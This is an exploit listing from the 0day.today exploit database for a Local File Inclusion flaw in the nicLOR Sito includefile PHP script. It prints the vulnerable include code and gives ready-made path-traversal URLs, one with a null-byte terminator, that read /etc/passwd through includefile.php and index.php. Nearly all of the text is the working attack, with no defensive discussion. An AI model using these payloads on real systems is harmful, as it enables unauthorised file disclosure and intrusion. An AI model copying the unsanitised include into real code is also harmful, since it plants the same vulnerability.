[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

nicLOR Sito includefile Local File Inclusion Vulnerabilities

Author
StAkeR
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-4067
Category
web applications
Date add
04-11-2008
Platform
unsorted
============================================================
nicLOR Sito includefile Local File Inclusion Vulnerabilities
============================================================


# ------------------------------------------------------------
# Sito includefile in PHP Local File Inclusion Vulnerabilities
# ------------------------------------------------------------
# Discovered By StAkeR
# Download On http://www.niclor.net/prodotti/include_Sito_PHP/include_Sito_PHP.zip
# -----------------------------------------------------------

# File (includefile.php)
# Register Globals On
1. <? 
2. if (($page != "") or ($page == "home")) {
3.    include "pagine/$page_file";
4. } else {
5.    include "pagine/home.php";
6. }
7. ?>

# includefile.php?page=athos&page_file=../../../../../../etc/passwd

# File (index.php)
# Magic_Quotes_GPC
# index.php?id=../../../../../etc/passwd%00 



#  0day.today [2024-10-06]  #